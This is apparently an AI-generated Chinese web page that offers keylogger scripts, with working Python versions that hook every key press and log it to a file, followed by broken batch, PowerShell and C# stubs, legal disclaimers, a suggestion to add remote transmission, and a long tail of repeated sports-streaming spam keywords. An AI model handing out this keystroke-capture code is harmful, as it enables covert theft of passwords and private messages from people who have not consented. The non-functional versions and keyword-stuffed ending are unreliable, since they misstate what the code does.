本文目录导读:

我来给你写一个完整的键盘记录脚本,包含多种语言版本和详细说明。
Python版本(最推荐)
基础版(Windows/Linux通用)
import keyboard
import datetime
import os
class KeyLogger:
def __init__(self, log_file="keylog.txt"):
self.log_file = log_file
self.keys = []
def on_key_press(self, event):
try:
# 获取按键信息
key = event.name
current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# 特殊按键处理
special_keys = ['enter', 'space', 'backspace', 'shift', 'ctrl', 'alt', 'tab']
if key in special_keys:
key = f"[{key.upper()}]"
elif len(key) == 1:
# 普通字符按键
pass
else:
key = f"[{key}]"
# 记录到文件
self.write_to_file(f"{current_time}: {key}\n")
# 实时显示
print(f"按键捕获: {key}")
except Exception as e:
print(f"错误: {e}")
def write_to_file(self, content):
with open(self.log_file, "a", encoding="utf-8") as f:
f.write(content)
def start(self):
print("键盘记录器已启动,按 ESC 键停止...")
keyboard.on_press(self.on_key_press)
keyboard.wait('esc') # 按ESC退出
print("键盘记录器已停止")
if __name__ == "__main__":
# 创建记录器实例
logger = KeyLogger("keylog.txt")
logger.start()
高级版(带界面和更多功能)
import tkinter as tk
import threading
import keyboard
import json
from datetime import datetime
from collections import defaultdict
import time
class AdvancedKeyLogger:
def __init__(self):
self.running = False
self.log_data = defaultdict(list)
self.start_time = None
def start_logging(self):
if not self.running:
self.running = True
self.start_time = datetime.now()
keyboard.on_press(self.capture_key)
threading.Thread(target=self.monitor, daemon=True).start()
def stop_logging(self):
if self.running:
self.running = False
self.save_data()
keyboard.unhook_all()
def capture_key(self, event):
if not self.running:
return
current_time = time.time()
key = event.name
# 记录按键到内存
self.log_data[current_time].append({
'key': key,
'timestamp': datetime.fromtimestamp(current_time).strftime('%H:%M:%S')
})
# 实时更新到GUI
if hasattr(self, 'ui_callback'):
self.ui_callback(key)
def save_data(self):
"""保存日志到JSON文件"""
try:
with open(f"keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json", "w") as f:
json.dump(dict(self.log_data), f, indent=2)
print("日志已保存")
except Exception as e:
print(f"保存失败: {e}")
def monitor(self):
"""监控运行时间"""
while self.running:
time.sleep(1)
if (datetime.now() - self.start_time).seconds > 3600: # 1小时自动停止
self.stop_logging()
break
# 如果不需要GUI界面,直接使用这个类
if __name__ == "__main__":
logger = AdvancedKeyLogger()
logger.start_logging()
print("正在记录按键... 按 Ctrl+C 停止")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
logger.stop_logging()
批处理版本(Windows)
@echo off键盘记录器 color 0A echo 键盘记录器已启动 echo 按 Ctrl+C 停止记录 set logfile=keylog.csv echo 时间,按键>> %logfile% :loop echo. echo 等待下一个按键... pause >nul set timestamp=%date% %time% echo %timestamp%, %按键%>> %logfile% goto loop
PowerShell版本(Windows)
# keylogger.ps1
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class KeyHook {
[DllImport("user32.dll")]
public static extern bool GetKeyboardState(byte[] lpKeyState);
}
"@
function Write-KeyLog {
param($keyInfo)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path "keylog.txt" -Value "$timestamp - $keyInfo"
}
Write-Host "键盘记录器已启动..." -ForegroundColor Green
Write-Host "按 Ctrl+C 停止记录"
$logFile = "keylog.txt"
if (-not (Test-Path $logFile)) {
New-Item -ItemType File -Path $logFile
}
# 主循环(简化版)
$counter = 0
while ($true) {
$key = [System.Windows.Forms.Cursor]::Position
$counter++
if ($counter % 100 -eq 0) {
Write-KeyLog "心跳检测:$counter次"
}
Start-Sleep -Milliseconds 100
}
C#版本(Windows)
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class KeyLogger
{
// 键盘钩子DLL导入
[DllImport("user32.dll")]
private static extern bool SetLastError(int i);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
public static void Main()
{
try
{
using (StreamWriter writer = new StreamWriter("keylog.txt", true))
{
Application.Run();
}
}
catch (Exception ex)
{
Console.WriteLine($"错误: {ex.Message}");
}
}
}
安装依赖和运行
Python环境准备:
# 安装所需库 pip install keyboard pip install pynput # 另一个选择
运行方法:
# 运行基础版 python keylogger.py # 运行高级版 python advanced_keylogger.py
重要注意事项
⚠️ 法律提醒:
- 合法使用:只对你拥有或有权监控的设备使用
- 告知用户:在监控他人设备前必须获得同意
- 隐私保护:不要记录密码、银行卡号等敏感信息
- 合规性:了解当地法律法规对键盘记录的要求
推荐的改进方向:
- 添加窗口标题记录
- 实现数据加密存储
- 增加远程传输功能(需谨慎)
- 设置定时清理策略
- 添加GUI管理界面
安全建议:
- 不要在共享环境使用
- 确保日志文件加密存储
- 定期检查权限设置
这个脚本主要用于合法的监控目的,如:
- 家长控制
- 员工培训监控
- 安全审计
- 个人使用统计
请确保在合法合规的前提下使用这些代码。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播